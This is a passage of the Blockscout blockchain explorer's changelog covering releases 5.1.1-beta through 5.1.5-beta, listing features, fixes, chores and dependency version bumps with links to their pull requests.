[#7714](https://github.com/blockscout/blockscout/pull/7714) - Bump ex_cldr_units from 3.16.1 to 3.16.2 +- [#7748](https://github.com/blockscout/blockscout/pull/7748) - Bump mock from 0.3.7 to 0.3.8 +- [#7746](https://github.com/blockscout/blockscout/pull/7746) - Bump eslint from 8.42.0 to 8.43.0 in /apps/block_scout_web/assets +- [#7747](https://github.com/blockscout/blockscout/pull/7747) - Bump cldr_utils from 2.24.0 to 2.24.1 + +
+ +## 5.1.5-beta + +### Features + +- [#7439](https://github.com/blockscout/blockscout/pull/7439) - Define batch size for token balance fetcher via runtime env var +- [#7298](https://github.com/blockscout/blockscout/pull/7298) - Add changes to support force email verification +- [#7422](https://github.com/blockscout/blockscout/pull/7422) - Refactor state changes +- [#7416](https://github.com/blockscout/blockscout/pull/7416) - Add option to disable reCAPTCHA +- [#6694](https://github.com/blockscout/blockscout/pull/6694) - Add withdrawals support (EIP-4895) +- [#7355](https://github.com/blockscout/blockscout/pull/7355) - Add endpoint for token info import +- [#7393](https://github.com/blockscout/blockscout/pull/7393) - Realtime fetcher max gap +- [#7436](https://github.com/blockscout/blockscout/pull/7436) - TokenBalanceOnDemand ERC-1155 support +- [#7469](https://github.com/blockscout/blockscout/pull/7469), [#7485](https://github.com/blockscout/blockscout/pull/7485), [#7493](https://github.com/blockscout/blockscout/pull/7493) - Clear missing block ranges after every success import +- [#7489](https://github.com/blockscout/blockscout/pull/7489) - INDEXER_CATCHUP_BLOCK_INTERVAL env var + +### Fixes + +- [#7490](https://github.com/blockscout/blockscout/pull/7490) - Fix pending txs is not a map +- [#7474](https://github.com/blockscout/blockscout/pull/7474) - Websocket v2 improvements +- [#7472](https://github.com/blockscout/blockscout/pull/7472) - Fix RE_CAPTCHA_DISABLED variable parsing +- [#7391](https://github.com/blockscout/blockscout/pull/7391) - Fix: cannot read properties of null (reading 'value') +- [#7377](https://github.com/blockscout/blockscout/pull/7377), [#7454](https://github.com/blockscout/blockscout/pull/7454) - API v2 improvements + +### Chore + +- [#7496](https://github.com/blockscout/blockscout/pull/7496) - API v2: Pass backend version to the frontend +- [#7468](https://github.com/blockscout/blockscout/pull/7468) - Refactoring queries with blocks +- [#7435](https://github.com/blockscout/blockscout/pull/7435) - Add `.exs` and `.eex` checking in cspell +- [#7450](https://github.com/blockscout/blockscout/pull/7450) - Resolve unresponsive navbar in verification form page +- [#7449](https://github.com/blockscout/blockscout/pull/7449) - Actualize docker-compose readme and use latest tags instead main +- [#7417](https://github.com/blockscout/blockscout/pull/7417) - Docker compose for frontend +- [#7349](https://github.com/blockscout/blockscout/pull/7349) - Proxy pattern with getImplementation() +- [#7360](https://github.com/blockscout/blockscout/pull/7360) - Manage visibility of indexing progress alert + +
+ Dependencies version bumps + +- [#7351](https://github.com/blockscout/blockscout/pull/7351) - Bump decimal from 2.0.0 to 2.1.1 +- [#7356](https://github.com/blockscout/blockscout/pull/7356) - Bump @amplitude/analytics-browser from 1.10.0 to 1.10.1 in /apps/block_scout_web/assets +- [#7366](https://github.com/blockscout/blockscout/pull/7366) - Bump mixpanel-browser from 2.46.0 to 2.47.0 in /apps/block_scout_web/assets +- [#7365](https://github.com/blockscout/blockscout/pull/7365) - Bump @amplitude/analytics-browser from 1.10.1 to 1.10.2 in /apps/block_scout_web/assets +- [#7368](https://github.com/blockscout/blockscout/pull/7368) - Bump cowboy from 2.9.0 to 2.10.0 +- [#7370](https://github.com/blockscout/blockscout/pull/7370) - Bump ex_cldr_units from 3.15.0 to 3.16.0 +- [#7364](https://github.com/blockscout/blockscout/pull/7364) - Bump chart.js from 4.2.1 to 4.3.0 in /apps/block_scout_web/assets +- [#7382](https://github.com/blockscout/blockscout/pull/7382) - Bump @babel/preset-env from 7.21.4 to 7.21.5 in /apps/block_scout_web/assets +- [#7381](https://github.com/blockscout/blockscout/pull/7381) - Bump highlight.js from 11.7.0 to 11.8.0 in /apps/block_scout_web/assets +- [#7379](https://github.com/blockscout/blockscout/pull/7379) - Bump @babel/core from 7.21.4 to 7.21.5 in /apps/block_scout_web/assets +- [#7380](https://github.com/blockscout/blockscout/pull/7380) - Bump postcss-loader from 7.2.4 to 7.3.0 in /apps/block_scout_web/assets +- [#7395](https://github.com/blockscout/blockscout/pull/7395) - Bump @babel/core from 7.21.5 to 7.21.8 in /apps/block_scout_web/assets +- [#7402](https://github.com/blockscout/blockscout/pull/7402) - Bump webpack from 5.81.0 to 5.82.0 in /apps/block_scout_web/assets +- [#7411](https://github.com/blockscout/blockscout/pull/7411) - Bump cldr_utils from 2.22.0 to 2.23.1 +- [#7409](https://github.com/blockscout/blockscout/pull/7409) - Bump @amplitude/analytics-browser from 1.10.2 to 1.10.3 in /apps/block_scout_web/assets +- [#7410](https://github.com/blockscout/blockscout/pull/7410) - Bump sweetalert2 from 11.7.3 to 11.7.5 in /apps/block_scout_web/assets +- [#7434](https://github.com/blockscout/blockscout/pull/7434) - Bump ex_cldr from 2.37.0 to 2.37.1 +- [#7433](https://github.com/blockscout/blockscout/pull/7433) - Bump eslint from 8.39.0 to 8.40.0 in /apps/block_scout_web/assets +- [#7432](https://github.com/blockscout/blockscout/pull/7432) - Bump tesla from 1.6.0 to 1.6.1 +- [#7431](https://github.com/blockscout/blockscout/pull/7431) - Bump webpack-cli from 5.0.2 to 5.1.0 in /apps/block_scout_web/assets +- [#7430](https://github.com/blockscout/blockscout/pull/7430) - Bump core-js from 3.30.1 to 3.30.2 in /apps/block_scout_web/assets +- [#7443](https://github.com/blockscout/blockscout/pull/7443) - Bump webpack-cli from 5.1.0 to 5.1.1 in /apps/block_scout_web/assets +- [#7457](https://github.com/blockscout/blockscout/pull/7457) - Bump web3 from 1.9.0 to 1.10.0 in /apps/block_scout_web/assets +- [#7456](https://github.com/blockscout/blockscout/pull/7456) - Bump webpack from 5.82.0 to 5.82.1 in /apps/block_scout_web/assets +- [#7458](https://github.com/blockscout/blockscout/pull/7458) - Bump phoenix_ecto from 4.4.0 to 4.4.1 +- [#7455](https://github.com/blockscout/blockscout/pull/7455) - Bump solc from 0.8.19 to 0.8.20 in /apps/explorer +- [#7460](https://github.com/blockscout/blockscout/pull/7460) - Bump jquery from 3.6.4 to 3.7.0 in /apps/block_scout_web/assets +- [#7488](https://github.com/blockscout/blockscout/pull/7488) - Bump exvcr from 0.13.5 to 0.14.1 +- [#7486](https://github.com/blockscout/blockscout/pull/7486) - Bump redix from 1.2.2 to 1.2.3 +- [#7487](https://github.com/blockscout/blockscout/pull/7487) - Bump tesla from 1.6.1 to 1.7.0 +- [#7494](https://github.com/blockscout/blockscout/pull/7494) - Bump webpack from 5.82.1 to 5.83.0 in /apps/block_scout_web/assets +- [#7495](https://github.com/blockscout/blockscout/pull/7495) - Bump ex_cldr_numbers from 2.31.0 to 2.31.1 + +
+ +## 5.1.4-beta + +### Features + +- [#7273](https://github.com/blockscout/blockscout/pull/7273) - Support reCAPTCHA v3 in CSV export page +- [#7345](https://github.com/blockscout/blockscout/pull/7345) - Manage telegram link and its visibility in the footer +- [#7313](https://github.com/blockscout/blockscout/pull/7313) - API v2 new endpoints: watchlist transactions +- [#7286](https://github.com/blockscout/blockscout/pull/7286) - Split token instance fetcher +- [#7246](https://github.com/blockscout/blockscout/pull/7246) - Fallback JSON RPC option +- [#7329](https://github.com/blockscout/blockscout/pull/7329) - Delete pending block operations for empty blocks + +### Fixes + +- [#7317](https://github.com/blockscout/blockscout/pull/7317) - Fix tokensupply API v1 endpoint: handle nil total_supply +- [#7290](https://github.com/blockscout/blockscout/pull/7290) - Allow nil gas price for pending tx (Erigon node case) +- [#7288](https://github.com/blockscout/blockscout/pull/7288) - API v2 improvements: Fix tx type for pending contract creation; Remove owner for not unique ERC-1155 token instances +- [#7283](https://github.com/blockscout/blockscout/pull/7283) - Fix status for dropped/replaced tx +- [#7270](https://github.com/blockscout/blockscout/pull/7270) - Fix default `TOKEN_EXCHANGE_RATE_REFETCH_INTERVAL` +- [#7276](https://github.com/blockscout/blockscout/pull/7276) - Convert 99+% of int txs indexing into 100% in order to hide top indexing banner +- [#7282](https://github.com/blockscout/blockscout/pull/7282) - Add not found transaction error case +- [#7305](https://github.com/blockscout/blockscout/pull/7305) - Reset MissingRangesCollector min_fetched_block_number + +### Chore + +- [#7343](https://github.com/blockscout/blockscout/pull/7343) - Management flexibility of charts dashboard on the main page +- [#7337](https://github.com/blockscout/blockscout/pull/7337) - Account: derive Auth0 logout urls from existing envs +- [#7332](https://github.com/blockscout/blockscout/pull/7332) - Add volume for Postgres Docker containers DB +- [#7328](https://github.com/blockscout/blockscout/pull/7328) - Update Docker image tag latest with release only +- [#7312](https://github.com/blockscout/blockscout/pull/7312) - Add configs for Uniswap v3 transaction actions to index them on Base Goerli +- [#7310](https://github.com/blockscout/blockscout/pull/7310) - Reducing resource consumption on bs-indexer-eth-goerli environment +- [#7297](https://github.com/blockscout/blockscout/pull/7297) - Use tracing JSONRPC URL in case of debug_traceTransaction method +- [#7292](https://github.com/blockscout/blockscout/pull/7292) - Allow Node 16+ version + +
+ Dependencies version bumps + +- [#7257](https://github.com/blockscout/blockscout/pull/7257) - Bump ecto_sql from 3.10.0 to 3.10.1 +- [#7265](https://github.com/blockscout/blockscout/pull/7265) - Bump ecto from 3.10.0 to 3.10.1 +- [#7263](https://github.com/blockscout/blockscout/pull/7263) - Bump sass from 1.61.0 to 1.62.0 in /apps/block_scout_web/assets +- [#7264](https://github.com/blockscout/blockscout/pull/7264) - Bump webpack from 5.78.0 to 5.79.0 in /apps/block_scout_web/assets +- [#7274](https://github.com/blockscout/blockscout/pull/7274) - Bump postgrex from 0.17.0 to 0.17.1 +- [#7277](https://github.com/blockscout/blockscout/pull/7277) - Bump core-js from 3.30.0 to 3.30.1 in /apps/block_scout_web/assets +- [#7295](https://github.com/blockscout/blockscout/pull/7295) - Bump postcss from 8.4.21 to 8.4.22 in /apps/block_scout_web/assets +- [#7303](https://github.com/blockscout/blockscout/pull/7303) - Bump redix from 1.2.1 to 1.2.2 +- [#7302](https://github.com/blockscout/blockscout/pull/7302) - Bump webpack from 5.79.0 to 5.80.0 in /apps/block_scout_web/assets +- [#7307](https://github.com/blockscout/blockscout/pull/7307) - Bump postcss from 8.4.22 to 8.4.23 in /apps/block_scout_web/assets +- [#7321](https://github.com/blockscout/blockscout/pull/7321) - Bump webpack-cli from 5.0.1 to 5.0.2 in /apps/block_scout_web/assets +- [#7320](https://github.com/blockscout/blockscout/pull/7320) - Bump js-cookie from 3.0.1 to 3.0.4 in /apps/block_scout_web/assets +- [#7333](https://github.com/blockscout/blockscout/pull/7333) - Bump js-cookie from 3.0.4 to 3.0.5 in /apps/block_scout_web/assets +- [#7334](https://github.com/blockscout/blockscout/pull/7334) - Bump eslint from 8.38.0 to 8.39.0 in /apps/block_scout_web/assets +- [#7344](https://github.com/blockscout/blockscout/pull/7344) - Bump @amplitude/analytics-browser from 1.9.4 to 1.10.0 in /apps/block_scout_web/assets +- [#7347](https://github.com/blockscout/blockscout/pull/7347) - Bump webpack from 5.80.0 to 5.81.0 in /apps/block_scout_web/assets +- [#7348](https://github.com/blockscout/blockscout/pull/7348) - Bump sass from 1.62.0 to 1.62.1 in /apps/block_scout_web/assets + +
+ +## 5.1.3-beta + +### Features + +- [#7253](https://github.com/blockscout/blockscout/pull/7253) - Add `EIP_1559_ELASTICITY_MULTIPLIER` env variable +- [#7187](https://github.com/blockscout/blockscout/pull/7187) - Integrate [Eth Bytecode DB](https://github.com/blockscout/blockscout-rs/tree/main/eth-bytecode-db/eth-bytecode-db) +- [#7185](https://github.com/blockscout/blockscout/pull/7185) - Aave v3 transaction actions indexer +- [#7148](https://github.com/blockscout/blockscout/pull/7148), [#7244](https://github.com/blockscout/blockscout/pull/7244) - API v2 improvements: API rate limiting, `/tokens/{address_hash}/instances/{token_id}/holders` and other changes + +### Fixes + +- [#7242](https://github.com/blockscout/blockscout/pull/7242) - Fix daily txs chart +- [#7210](https://github.com/blockscout/blockscout/pull/7210) - Fix Makefile docker image build +- [#7203](https://github.com/blockscout/blockscout/pull/7203) - Fix write contract functionality for multidimensional arrays case +- [#7186](https://github.com/blockscout/blockscout/pull/7186) - Fix build from Dockerfile +- [#7255](https://github.com/blockscout/blockscout/pull/7255) - Fix MissingRangesCollector max block number fetching + +### Chore + +- [#7254](https://github.com/blockscout/blockscout/pull/7254) - Rename env vars related for the integration with microservices +- [#7107](https://github.com/blockscout/blockscout/pull/7107) - Tx actions: remove excess delete_all calls and remake a cache +- [#7201](https://github.com/blockscout/blockscout/pull/7201) - Remove rust, cargo from dependencies since the latest version of ex_keccak is using precompiled rust + +
+ Dependencies version bumps + +- [#7183](https://github.com/blockscout/blockscout/pull/7183) - Bump sobelow from 0.11.1 to 0.12.1 +- [#7188](https://github.com/blockscout/blockscout/pull/7188) - Bump @babel/preset-env from 7.20.2 to 7.21.4 in /apps/block_scout_web/assets +- [#7190](https://github.com/blockscout/blockscout/pull/7190) - Bump @amplitude/analytics-browser from 1.9.1 to 1.9.2 in /apps/block_scout_web/assets +- [#7189](https://github.com/blockscout/blockscout/pull/7189) - Bump @babel/core from 7.21.3 to 7.21.4 in /apps/block_scout_web/assets +- [#7206](https://github.com/blockscout/blockscout/pull/7206) - Bump tesla from 1.5.1 to 1.6.0 +- [#7207](https://github.com/blockscout/blockscout/pull/7207) - Bump sobelow from 0.12.1 to 0.12.2 +- [#7205](https://github.com/blockscout/blockscout/pull/7205) - Bump @amplitude/analytics-browser from 1.9.2 to 1.9.3 in /apps/block_scout_web/assets +- [#7204](https://github.com/blockscout/blockscout/pull/7204) - Bump postcss-loader from 7.1.0 to 7.2.1 in /apps/block_scout_web/assets +- [#7214](https://github.com/blockscout/blockscout/pull/7214) - Bump core-js from 3.29.1 to 3.30.0 in /apps/block_scout_web/assets +- [#7215](https://github.com/blockscout/blockscout/pull/7215) - Bump postcss-loader from 7.2.1 to 7.2.4 in /apps/block_scout_web/assets +- [#7220](https://github.com/blockscout/blockscout/pull/7220) - Bump wallaby from 0.30.2 to 0.30.3 +- [#7236](https://github.com/blockscout/blockscout/pull/7236) - Bump sass from 1.60.0 to 1.61.0 in /apps/block_scout_web/assets +- [#7235](https://github.com/blockscout/blockscout/pull/7235) - Bump @amplitude/analytics-browser from 1.9.3 to 1.9.4 in /apps/block_scout_web/assets +- [#7224](https://github.com/blockscout/blockscout/pull/7224) - Bump webpack from 5.77.0 to 5.78.0 in /apps/block_scout_web/assets +- [#7245](https://github.com/blockscout/blockscout/pull/7245) - Bump eslint from 8.37.0 to 8.38.0 in /apps/block_scout_web/assets +- [#7250](https://github.com/blockscout/blockscout/pull/7250) - Bump dialyxir from 1.2.0 to 1.3.0 + +
+ +## 5.1.2-beta + +### Features + +- [#6925](https://github.com/blockscout/blockscout/pull/6925) - Rework token price fetching mechanism and sort token balances by fiat value +- [#7068](https://github.com/blockscout/blockscout/pull/7068) - Add authenticate endpoint +- [#6990](https://github.com/blockscout/blockscout/pull/6990) - Improved http requests logging, batch transfers pagination; New API v2 endpoint `/smart-contracts/counters`; And some refactoring +- [#7089](https://github.com/blockscout/blockscout/pull/7089) - ETHEREUM_JSONRPC_HTTP_TIMEOUT env variable + +### Fixes + +- [#7243](https://github.com/blockscout/blockscout/pull/7243) - Fix Elixir tracer to work with polygon edge +- [#7162](https://github.com/blockscout/blockscout/pull/7162) - Hide indexing alert, if internal transactions indexer disabled +- [#7096](https://github.com/blockscout/blockscout/pull/7096) - Hide indexing alert, if indexer disabled +- [#7102](https://github.com/blockscout/blockscout/pull/7102) - Set infinity timeout timestamp_to_block_number query +- [#7091](https://github.com/blockscout/blockscout/pull/7091) - Fix custom ABI +- [#7087](https://github.com/blockscout/blockscout/pull/7087) - Allow URI special symbols in `DATABASE_URL` +- [#7062](https://github.com/blockscout/blockscout/pull/7062) - Save block count in the DB when calculated in Cache module +- [#7008](https://github.com/blockscout/blockscout/pull/7008) - Fetch image/video content from IPFS link +- [#7007](https://github.com/blockscout/blockscout/pull/7007), [#7031](https://github.com/blockscout/blockscout/pull/7031), [#7058](https://github.com/blockscout/blockscout/pull/7058), [#7061](https://github.com/blockscout/blockscout/pull/7061), [#7067](https://github.com/blockscout/blockscout/pull/7067) - Token instance fetcher fixes +- [#7009](https://github.com/blockscout/blockscout/pull/7009) - Fix updating coin balances with empty value +- [#7055](https://github.com/blockscout/blockscout/pull/7055) - Set updated_at on token update even if there are no changes +- [#7080](https://github.com/blockscout/blockscout/pull/7080) - Deduplicate second degree relations before insert +- [#7161](https://github.com/blockscout/blockscout/pull/7161) - Treat "" as empty value while parsing env vars +- [#7135](https://github.com/blockscout/blockscout/pull/7135) - Block reorg fixes + +### Chore + +- [#7147](https://github.com/blockscout/blockscout/pull/7147) - Add missing GAS_PRICE_ORACLE_ vars to Makefile +- [#7144](https://github.com/blockscout/blockscout/pull/7144) - Update Blockscout logo +- [#7136](https://github.com/blockscout/blockscout/pull/7136) - Add release link or commit hash to docker images +- [#7097](https://github.com/blockscout/blockscout/pull/7097) - Force display token instance page +- [#7119](https://github.com/blockscout/blockscout/pull/7119), [#7149](https://github.com/blockscout/blockscout/pull/7149) - Refactor runtime config +- [#7072](https://github.com/blockscout/blockscout/pull/7072) - Add a separate docker compose for geth with clique consensus +- [#7056](https://github.com/blockscout/blockscout/pull/7056) - Add path_helper in interact.js +- [#7040](https://github.com/blockscout/blockscout/pull/7040) - Use alias BlockScoutWeb.Cldr.Number +- [#7037](https://github.com/blockscout/blockscout/pull/7037) - Define common function for "reltuples" query +- [#7034](https://github.com/blockscout/blockscout/pull/7034) - Resolve "Unexpected var, use let or const instead" +- [#7014](https://github.com/blockscout/blockscout/pull/7014), [#7036](https://github.com/blockscout/blockscout/pull/7036), [7041](https://github.com/blockscout/blockscout/pull/7041) - Fix spell in namings, add spell checking in CI +- [#7012](https://github.com/blockscout/blockscout/pull/7012) - Refactor socket.js +- [#6960](https://github.com/blockscout/blockscout/pull/6960) - Add deploy + workflow for testing (bs-indexers-ethereum-goerli) +- [#6989](https://github.com/blockscout/blockscout/pull/6989) - Update bitwalker/alpine-elixir-phoenix: 1.13 -> 1.14 +- [#6987](https://github.com/blockscout/blockscout/pull/6987) - Change tx actions warning importance + +
+ Dependencies version bumps + +- [6997](https://github.com/blockscout/blockscout/pull/6997) - Bump sweetalert2 from 11.7.2 to 11.7.3 in /apps/block_scout_web/assets +- [6999](https://github.com/blockscout/blockscout/pull/6999) - Bump @amplitude/analytics-browser from 1.8.0 to 1.9.0 in /apps/block_scout_web/assets +- [7000](https://github.com/blockscout/blockscout/pull/7000) - Bump eslint from 8.34.0 to 8.35.0 in /apps/block_scout_web/assets +- [7001](https://github.com/blockscout/blockscout/pull/7001) - Bump core-js from 3.28.0 to 3.29.0 in /apps/block_scout_web/assets +- [7002](https://github.com/blockscout/blockscout/pull/7002) - Bump floki from 0.34.1 to 0.34.2 +- [7004](https://github.com/blockscout/blockscout/pull/7004) - Bump ex_cldr from 2.34.1 to 2.34.2 +- [7011](https://github.com/blockscout/blockscout/pull/7011) - Bump ex_doc from 0.29.1 to 0.29.2 +- [7026](https://github.com/blockscout/blockscout/pull/7026) - Bump @amplitude/analytics-browser from 1.9.0 to 1.9.1 in /apps/block_scout_web/assets +- [7029](https://github.com/blockscout/blockscout/pull/7029) - Bump jest from 29.4.3 to 29.5.0 in /apps/block_scout_web/assets +- [7028](https://github.com/blockscout/blockscout/pull/7028) - Bump luxon from 3.2.1 to 3.3.0 in /apps/block_scout_web/assets +- [7027](https://github.com/blockscout/blockscout/pull/7027) - Bump jest-environment-jsdom from 29.4.3 to 29.5.0 in /apps/block_scout_web/assets +- [7030](https://github.com/blockscout/blockscout/pull/7030) - Bump viewerjs from 1.11.2 to 1.11.3 in /apps/block_scout_web/assets +- [7042](https://github.com/blockscout/blockscout/pull/7042) - Bump ex_cldr_numbers from 2.29.0 to 2.30.0 +- [7048](https://github.com/blockscout/blockscout/pull/7048) - Bump webpack from 5.75.0 to 5.76.0 in /apps/block_scout_web/assets +- [7049](https://github.com/blockscout/blockscout/pull/7049) - Bump jquery from 3.6.3 to 3.6.4 in /apps/block_scout_web/assets +- [7050](https://github.com/blockscout/blockscout/pull/7050) - Bump mini-css-extract-plugin from 2.7.2 to 2.7.3 in /apps/block_scout_web/assets +- [7063](https://github.com/blockscout/blockscout/pull/7063) - Bump autoprefixer from 10.4.13 to 10.4.14 in /apps/block_scout_web/assets +- [7064](https://github.com/blockscout/blockscout/pull/7064) - Bump ueberauth from 0.10.3 to 0.10.5 +- [7074](https://github.com/blockscout/blockscout/pull/7074) - Bump core-js from 3.29.0 to 3.29.1 in /apps/block_scout_web/assets +- [7078](https://github.com/blockscout/blockscout/pull/7078) - Bump ex_cldr from 2.35.1 to 2.36.0 +- [7075](https://github.com/blockscout/blockscout/pull/7075) - Bump webpack from 5.76.0 to 5.76.1 in /apps/block_scout_web/assets +- [7077](https://github.com/blockscout/blockscout/pull/7077) - Bump wallaby from 0.30.1 to 0.30.2 +- [7073](https://github.com/blockscout/blockscout/pull/7073) - Bump sass from 1.58.3 to 1.59.2 in /apps/block_scout_web/assets +- [7076](https://github.com/blockscout/blockscout/pull/7076) - Bump eslint from 8.35.0 to 8.36.0 in /apps/block_scout_web/assets +- [7082](https://github.com/blockscout/blockscout/pull/7082) - Bump @babel/core from 7.21.0 to 7.21.3 in /apps/block_scout_web/assets +- [7083](https://github.com/blockscout/blockscout/pull/7083) - Bump style-loader from 3.3.1 to 3.3.2 in /apps/block_scout_web/assets +- [7086](https://github.com/blockscout/blockscout/pull/7086) - Bump sass from 1.59.2 to 1.59.3 in /apps/block_scout_web/assets +- [7092](https://github.com/blockscout/blockscout/pull/7092) - Bump mini-css-extract-plugin from 2.7.3 to 2.7.4 in /apps/block_scout_web/assets +- [7094](https://github.com/blockscout/blockscout/pull/7094) - Bump webpack from 5.76.1 to 5.76.2 in /apps/block_scout_web/assets +- [7095](https://github.com/blockscout/blockscout/pull/7095) - Bump plug_cowboy from 2.6.0 to 2.6.1 +- [7093](https://github.com/blockscout/blockscout/pull/7093) - Bump postcss-loader from 7.0.2 to 7.1.0 in /apps/block_scout_web/assets +- [7100](https://github.com/blockscout/blockscout/pull/7100) - Bump mini-css-extract-plugin from 2.7.4 to 2.7.5 in /apps/block_scout_web/assets +- [7101](https://github.com/blockscout/blockscout/pull/7101) - Bump ex_doc from 0.29.2 to 0.29.3 +- [7113](https://github.com/blockscout/blockscout/pull/7113) - Bump sass-loader from 13.2.0 to 13.2.1 in /apps/block_scout_web/assets +- [7114](https://github.com/blockscout/blockscout/pull/7114) - Bump web3 from 1.8.2 to 1.9.0 in /apps/block_scout_web/assets +- [7117](https://github.com/blockscout/blockscout/pull/7117) - Bump flow from 1.2.3 to 1.2.4 +- [7127](https://github.com/blockscout/blockscout/pull/7127) - Bump webpack from 5.76.2 to 5.76.3 in /apps/block_scout_web/assets +- [7128](https://github.com/blockscout/blockscout/pull/7128) - Bump ecto from 3.9.4 to 3.9.5 +- [7129](https://github.com/blockscout/blockscout/pull/7129) - Bump ex_abi from 0.5.16 to 0.6.0 +- [7118](https://github.com/blockscout/blockscout/pull/7118) - Bump credo from 1.6.7 to 1.7.0 +- [7151](https://github.com/blockscout/blockscout/pull/7151) - Bump mixpanel-browser from 2.45.0 to 2.46.0 in /apps/block_scout_web/assets +- [7156](https://github.com/blockscout/blockscout/pull/7156) - Bump cldr_utils from 2.21.0 to 2.22.0 +- [7155](https://github.com/blockscout/blockscout/pull/7155) - Bump timex from 3.7.9 to 3.7.11 +- [7154](https://github.com/blockscout/blockscout/pull/7154) - Bump sass-loader from 13.2.1 to 13.2.2 in /apps/block_scout_web/assets +- [7152](https://github.com/blockscout/blockscout/pull/7152) - Bump @fortawesome/fontawesome-free from 6.3.0 to 6.4.0 in /apps/block_scout_web/assets +- [7153](https://github.com/blockscout/blockscout/pull/7153) - Bump sass from 1.59.3 to 1.60.0 in /apps/block_scout_web/assets +- [7159](https://github.com/blockscout/blockscout/pull/7159) - Bump ex_cldr_numbers from 2.30.0 to 2.30.1 +- [7158](https://github.com/blockscout/blockscout/pull/7158) - Bump css-minimizer-webpack-plugin from 4.2.2 to 5.0.0 in /apps/block_scout_web/assets +- [7165](https://github.com/blockscout/blockscout/pull/7165) - Bump ex_doc from 0.29.3 to 0.29.4 +- [7164](https://github.com/blockscout/blockscout/pull/7164) - Bump photoswipe from 5.3.6 to 5.3.7 in /apps/block_scout_web/assets +- [7167](https://github.com/blockscout/blockscout/pull/7167) - Bump webpack from 5.76.3 to 5.77.0 in /apps/block_scout_web/assets +- [7166](https://github.com/blockscout/blockscout/pull/7166) - Bump eslint from 8.36.0 to 8.37.0 in /apps/block_scout_web/assets + +
+ +## 5.1.1-beta + +### Features + +- [#6973](https://github.com/blockscout/blockscout/pull/6973) - API v2: `/smart-contracts` and `/state-changes` endpoints +- [#6897](https://github.com/blockscout/blockscout/pull/6897) - Support basic auth in JSON RPC endpoint +- [#6908](https://github.com/blockscout/blockscout/pull/6908) - Allow disable API rate limit +- [#6951](https://github.com/blockscout/blockscout/pull/6951), [#6958](https://github.com/blockscout/blockscout/pull/6958), [#6991](https://github.com/blockscout/blockscout/pull/6991) - Set poll: true for TokenInstance fetcher +- [#5720](https://github.com/blockscout/blockscout/pull/5720) - Fetchers graceful shutdown + +### Fixes + +- [#6933](https://github.com/blockscout/blockscout/pull/6933) - Extract blocking UI requests to separate GenServers +- [#6953](https://github.com/blockscout/blockscout/pull/6953) - reCAPTCHA dark mode +- [#6940](https://github.com/blockscout/blockscout/pull/6940) - Reduce ttl_check_interval for cache module +- [#6941](https://github.com/blockscout/blockscout/pull/6941) - Sanitize search query before displaying +- [#6912](https://github.com/blockscout/blockscout/pull/6912) - Docker compose fix exposed ports +- [#6913](https://github.com/blockscout/blockscout/pull/6913) - Fix an error occurred when decoding base64 encoded json +- [#6911](https://github.com/blockscout/blockscout/pull/6911) - Fix bugs in verification API v2 +- [#6903](https://github.com/blockscout/blockscout/pull/6903), [#6937](https://github.com/blockscout/blockscout/pull/6937), [#6961](https://github.com/blockscout/blockscout/pull/6961) - Fix indexed blocks value in "Indexing tokens" banner +- [#6891](https://github.com/blockscout/blockscout/pull/6891) - Fix read contract for geth +- [#6889](https://github.com/blockscout/blockscout/pull/6889) - Fix Internal Server Error on tx input decoding +- [#6893](https://github.com/blockscout/blockscout/pull/6893) - Fix token type definition for multiple interface tokens +- [#6922](https://github.com/blockscout/blockscout/pull/6922) - Fix WebSocketClient +- [#6501](https://github.com/blockscout/blockscout/pull/6501) - Fix wss connect + +### Chore + +- [#6981](https://github.com/blockscout/blockscout/pull/6981) - Token instance fetcher batch size and concurrency env vars +- [#6954](https://github.com/blockscout/blockscout/pull/6954), [#6979](https://github.com/blockscout/blockscout/pull/6979) - Move some compile time vars to runtime +- [#6952](https://github.com/blockscout/blockscout/pull/6952) - Manage BlockReward fetcher params +- [#6929](https://github.com/blockscout/blockscout/pull/6929) - Extend `INDEXER_MEMORY_LIMIT` env parsing +- [#6902](https://github.com/blockscout/blockscout/pull/6902) - Increase verification timeout to 120 seconds for microservice verification + +
+ Dependencies version bumps + +- [#6882](https://github.com/blockscout/blockscout/pull/6882) - Bump exvcr from 0.13.4 to 0.13.5 +- [#6883](https://github.com/blockscout/blockscout/pull/6883) - Bump floki from 0.34.0 to 0.34.1 +- [#6884](https://github.com/blockscout/blockscout/pull/6884) - Bump eslint from 8.33.0 to 8.34.0 in /apps/block_scout_web/assets +- [#6894](https://github.com/blockscout/blockscout/pull/6894) - Bump core-js from 3.27.2 to 3.28.0 in /apps/block_scout_web/assets +- [#6895](https://github.com/blockscout/blockscout/pull/6895) - Bump sass from 1.58.0 to 1.58.1 in /apps/block_scout_web/assets +- [#6905](https://github.com/blockscout/blockscout/pull/6905) - Bump jest-environment-jsdom from 29.4.2 to 29.4.3 in /apps/block_scout_web/assets +- [#6907](https://github.com/blockscout/blockscout/pull/6907) - Bump cbor from 1.0.0 to 1.0.1 +- [#6906](https://github.com/blockscout/blockscout/pull/6906) - Bump jest from 29.4.2 to 29.4.3 in /apps/block_scout_web/assets +- [#6917](https://github.com/blockscout/blockscout/pull/6917) - Bump tesla from 1.5.0 to 1.5.1 +- [#6930](https://github.com/blockscout/blockscout/pull/6930) - Bump sweetalert2 from 11.7.1 to 11.7.2 in /apps/block_scout_web/assets +- [#6942](https://github.com/blockscout/blockscout/pull/6942) - Bump @babel/core from 7.20.12 to 7.21.0 in /apps/block_scout_web/assets +- [#6943](https://github.com/blockscout/blockscout/pull/6943) - Bump gettext from 0.22.0 to 0.22.1 +- [#6944](https://github.com/blockscout/blockscout/pull/6944) - Bump sass from 1.58.1 to 1.58.3 in /apps/block_scout_web/assets +- [#6966](https://github.com/blockscout/blockscout/pull/6966) - Bump solc from 0.8.18 to 0.8.19 in /apps/explorer +- [#6967](https://github.com/blockscout/blockscout/pull/6967) - Bump photoswipe from 5.3.5 to 5.3.6 in /apps/block_scout_web/assets +- [#6968](https://github.com/blockscout/blockscout/pull/6968) - Bump ex_rlp from 0.5.5 to 0.6.0 + +
